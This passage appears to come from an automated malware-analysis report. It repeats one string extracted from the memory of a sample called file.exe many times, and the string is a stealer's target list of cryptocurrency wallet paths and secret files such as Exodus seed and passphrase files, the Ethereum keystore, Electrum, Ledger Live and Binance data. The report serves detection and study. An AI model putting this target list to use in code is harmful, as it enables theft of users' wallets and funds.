Source: file.exe, 00000001.00000002.1753987889.00000000000F4000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1753987889.00000000000F4000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1753987889.00000000000F4000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1753987889.00000000000F4000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1753987889.00000000000F4000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1753987889.00000000000F4000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1753987889.00000000000F4000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1753987889.00000000000F4000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1753987889.00000000000F4000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1753987889.00000000000F4000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1753987889.00000000000F4000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1753987889.00000000000F4000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1753987889.00000000000F4000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia 